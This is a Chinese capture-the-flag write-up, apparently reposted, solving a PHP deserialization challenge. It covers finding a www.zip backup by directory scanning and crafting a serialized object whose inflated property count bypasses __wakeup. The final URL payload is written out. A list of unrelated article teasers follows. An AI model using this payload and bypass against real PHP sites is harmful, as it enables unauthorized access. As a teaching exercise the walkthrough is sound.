解题思路

打开靶场,提示备份

常见的备份后缀名有.bak,.backup,.zip等等

这里肯定是要扫目录了,不知道是我的问题还是目录扫描工具的问题还是BUUCTF的问题,每次要扫目录能扫出一堆东西来,不管你用什么后缀,是做了防扫吗?用dirsearch还要设置一下线程,要不然BUUCTF不给你访问了。然后用kali的dirb感觉贼垃圾,总是漏扫...

然后这里的备份文件是www.zip,我觉得也是比较逆天了。

我们直接访问url下载即可

其中,index.js和style.css 一个是猫猫的前端文件,一个是渲染文件,我们重点看另外三个文件,先是flag.php文件:

<?php
$flag = 'Syc{dog_dog_dog_dog}';
?>

 提示我们flag是变量,我们要输出显示flag。然后是index.php文件

   <?phpinclude 'class.php';$select = $_GET['select'];$res=unserialize(@$select);?>

这里只展示重要部分,包含了class.php文件,然后get了个参数select,并且对参数进行反序列化了。然后我们看class.php

<?php
include 'flag.php';error_reporting(0);class Name{private $username = 'nonono';private $password = 'yesyes';public function __construct($username,$password){$this->username = $username;$this->password = $password;}function __wakeup(){$this->username = 'guest';}function __destruct(){if ($this->password != 100) {echo "</br>NO!!!hacker!!!</br>";echo "You name is: ";echo $this->username;echo "</br>";echo "You password is: ";echo $this->password;echo "</br>";die();}if ($this->username === 'admin') {global $flag;echo $flag;}else{echo "</br>hello my friend~~</br>sorry i can't give you the flag!";die();}}
}
?>

 包含了flag.php文件,那么flag变量也被包含其中。定义了一个类,讲一些比较重要的函数

function __destruct(){if ($this->password != 100) {echo "</br>NO!!!hacker!!!</br>";echo "You name is: ";echo $this->username;echo "</br>";echo "You password is: ";echo $this->password;echo "</br>";die();}if ($this->username === 'admin') {global $flag;echo $flag;}else{echo "</br>hello my friend~~</br>sorry i can't give you the flag!";die();}

核心函数function __destruct(),也比较好理解,我们需要让username=admin,password=100即可输出flag,但是我们输入都是被反序列化的,因此我们要逆向思维,将admin和100进行序列化输入,即可被反序列化成对应值。

 function __wakeup(){$this->username = 'guest';}

这里需要了解的是__wakeup()函数,将username改变成guest,这个函数在反序列化函数的输入为对象时,会自动调用。

总结,我们需要输入包含username和password的值分别等于admin和100的反序列化的值,只能通过输入类进行,因为只有一个get参数。但是输入类,会执行wakeup()函数,username的值会变。因此我们需要绕过该函数。

这里又引出另一个比较坑的点,当反序列化函数的输入为对象时,且对象的个数多于需要的个数,那么就不会执行__wakeup()函数。那么我们只需要构造一个类,有三个值,然后前两个值包含username和password的值分别等于admin和100的反序列化的值即可,先正常定义:

<?php
class Name{private $username = 'admin';private $password = '100';}$select = new Name();$res=serialize(@$select);   echo $res
?>

用php执行的在线网站可以输出

O:4:"Name":2:{s:14:"□Name□username";s:5:"admin";s:14:"□Name□password";s:3:"100";}

其中有不可见字符□,如果输入到浏览器中会不可见。%00是对象序列化后不可见字符对应的url编码,我们手动加上。

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
/?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

总结

总的来说比较困难吧,很多细节需要注意。首先www.zip其实就比较难找,然后代码审计比较简单,但是序列化需要一定的代码能力哈。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/web/86231.shtml
繁体地址,请注明出处:http://hk.pswp.cn/web/86231.shtml
英文地址,请注明出处:http://en.pswp.cn/web/86231.shtml

如若内容造成侵权/违法违规/事实不符,请联系英文站点网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

对话云蝠智能:大模型如何让企业呼叫系统从 “成本中心” 变身 “价值枢纽”?

在人工智能重塑企业服务的浪潮中&#xff0c;云蝠智能&#xff08;南京星蝠科技有限公司旗下品牌&#xff09;以深厚的技术积累和行业实践&#xff0c;逐步成长为国内智能外呼领域的标杆企业。其发展路径揭示了技术自主创新与场景深度结合的必然性。 一、技术架构&#xff1a;全…

Python-文件管理

1. Open方法 Python 中的文件操作主要通过内置的 open() 函数来完成&#xff0c;该函数用于打开文件&#xff0c;并返回一个文件对象。通过文件对象&#xff0c;可以进行各种文件操作&#xff0c;如读取、写入、关闭等。 使用 open() 方法一定要保证关闭文件对象&#xff0c;即…

高速DIC技术之推进剂样品在霍普金森杆的高速冲击下的变形监测与不同材质头盔在不同冲击位置下的变形测试-VIC-3D HS非接触全场动态应变测量系统

工程领域对材料与结构在极端动态载荷下复杂变形行为的测量有强烈的需求&#xff0c;且这种测量必须是精确、全域、非接触式的&#xff0c;高速DIC技术应运而生并不断得到发展。 常见动态应用包括&#xff08;但不限于&#xff09;&#xff1a;碰撞测试、爆炸试验、冲击试验、跌…

微算法科技融合Grover算法与统一哈希函数的混合经典-量子算法技术,可在多领域高效提升文本处理效率

随着数据规模的不断扩大&#xff0c;尤其是在大数据和人工智能驱动的应用中&#xff0c;这些经典算法的线性复杂度逐渐成为瓶颈。面对数十亿级别的文本数据&#xff0c;线性时间的算法仍然难以满足实时性的要求。此外&#xff0c;经典算法在处理无序或随机文本时&#xff0c;性…

Spring Boot Security Core

依赖配置&#xff08;Maven&#xff09; xml 复制 下载 运行 <!-- Spring Security Core --> <dependency><groupId>org.springframework.security</groupId><artifactId>spring-security-core</artifactId><version>6.2.5<…

【赵渝强老师】OceanBase云平台OCP

OCP的全称是OceanBase Cloud Platform&#xff0c;即&#xff1a;OceanBase云平台。OCP面向有OceanBase管理需求的中小型用户&#xff0c;提供了基础的主机管理、OceanBase 集群和租户运维等能力。在OCP中主要包含两个组成部分&#xff0c;它们分别是&#xff1a;MetaDB和OCP S…

快速定位Swagger文档请求地址‘/v2/api-docs‘,发生未知异常.NullPointerException:精准定位+根治方案

问题现场&#xff1a;访问 http://localhost:8080/v2/api-docs 时日志报错&#xff1a; 请求地址/v2/api-docs,发生未知异常. java.lang.NullPointerException: nullat springfox.documentation.swagger2.mappers.RequestParameterMapper.bodyParameter(RequestParameterMappe…

图像处理解决方案

证件照小工具微信小程序系统是基于微擎开源生态开发的多功能图像处理平台&#xff0c;专为用户提供便捷的证件照制作及图片编辑服务。微擎系统作为一款基于 PHP 开发的开源应用生态系统&#xff0c;具备快速搭建多端应用的能力&#xff0c;其模块化架构与跨平台兼容性为证件照工…

Qt联合Halcon开发四:【详细图解】海康相机配置并链接测试

1. 下载与安装海康 MVS SDK 首先&#xff0c;访问海康机器人官网的下载中心&#xff0c;选择 “Machine Vision” 模块下的 MVS 软件包。 1. 打开浏览器&#xff0c;进入&#xff1a;https://www.hikrobotics.com/cn/ 2. 下载最新版的 MVS 安装包&#xff08;通常以 MVS_x.x.…

vue3打包后,图片丢失

前言&#xff1a; 在 webpack 中使用 require() 来引入静态图片&#xff0c;但在 vite 中就不行。 代码实现 <template><div><img :src"empty"></div> </template><script setup> // 引入本地图片(注意改成您的路径) import em…

MongoDB 8.0.10 windows11安装记录

最近在学习node&#xff0c;看的教程用的是MongoDB 5.0的&#xff0c;安装上和新版的有一些区别&#xff0c;都安装完后不能直接在C:\Program Files\MongoDB\Server\8.0\bin 这个目录使用mongo 启动&#xff0c;因为都没那文件。 摸索了下弄好了。 下载社区版最新安装包&#…

信息系统项目管理师023:云计算(2信息技术发展,网络安全面试问题

2.关键技术 云计算的关键技术主要涉及虚拟化技术、云存储技术、多租户和访问控制管理、云安全技术等。 1&#xff09;虚拟化技术 虚拟化是一个广义术语&#xff0c;在计算机领域通常是指计算元件在虚拟的基础上而不是真实的基础上运行。虚拟化技术可以扩大硬件的容量&#x…

django csrf的局限性

Django的CSRF保护机制虽被广泛应用&#xff0c;但在实际场景中存在以下关键局限性&#xff0c;需开发者特别注意&#xff1a; 一、内容类型限制&#xff08;Content-Type约束&#xff09; 仅保护特定响应类型 CSRF中间件默认只对text/html和application/xmlxhtml响应生效&#…

如何将缓存存到客户端浏览器上呢

要将缓存存到客户端浏览器&#xff0c;关键是让 浏览器接收到合适的 HTTP 缓存控制响应头。这通常通过 add_header 添加控制头来实现。 ✅ 一般做法&#xff08;强缓存 协商缓存&#xff09;&#xff1a; &#x1f539; 1. 强缓存&#xff1a;使用 Cache-Control 和 Expires …

微软ASR与开源模型分析

一、微软ASR核心能力 1. 支持场景 场景功能实时语音转文本低延迟流式识别&#xff08;会议字幕/直播转录&#xff09;音频文件转文本支持多种格式&#xff08;WAV/MP3等&#xff09;&#xff0c;批量处理长音频定制化模型针对特定行业术语&#xff08;医疗/金融&#xff09;训…

2025下半年软考中级科目难度解析与选科指南

2025年下半年软考中级科目共有6科&#xff0c;包括系统集成项目管理工程师、信息系统管理工程师、信息安全工程师、网络工程师、软件设计师以及多媒体应用设计师。面对众多科目&#xff0c;考生应如何做出选择&#xff1f; 一、考试时间安排 在开始备考之前&#xff0c;了解考…

深度剖析:PPP PRIVATE NETWORK UDP/IP AGGLIGATOR

&#x1f680; 深度剖析&#xff1a;PPP PRIVATE NETWORK UDP/IP AGGLIGATOR &#x1f3d7;️ 一、架构概述 这是一个高性能网络聚合系统&#xff0c;核心功能是通过多路TCP连接隧道化UDP流量&#xff0c;提升网络传输的可靠性和性能。系统采用C编写&#xff0c;基于Boost.Asi…

05-StarRocks功能使用FAQ

StarRocks功能使用FAQ 概述 本文档整理了StarRocks功能使用过程中常见的问题和解决方案,涵盖了表管理、分区、索引、物化视图、外部表等核心功能的使用方法和最佳实践。 表管理FAQ Q1: 如何创建和管理表? A: 表管理方法: 1. 创建表 -- 创建基本表 CREATE TABLE table…

ASP.NET Core API文档与测试实战指南

前言 在现代软件开发中&#xff0c;API&#xff08;应用程序编程接口&#xff09;已成为不同服务和应用程序之间通信的桥梁。一个优秀的API不仅需要具备良好的功能性&#xff0c;更需要有完善的文档和全面的测试策略。本文将深入探讨ASP.NET Core环境下的API文档生成与测试实践…

域名 SSL证书和IP SSL证书有什么区别?

在互联网安全领域&#xff0c;SSL证书扮演着至关重要的角色&#xff0c;它能够有效保障数据传输的安全性&#xff0c;防止数据泄露和被篡改。而域名SSL证书与IP SSL证书作为两种不同类型的SSL证书&#xff0c;各自有着独特的特点和适用场景&#xff0c;本文国科云将对它们进行详…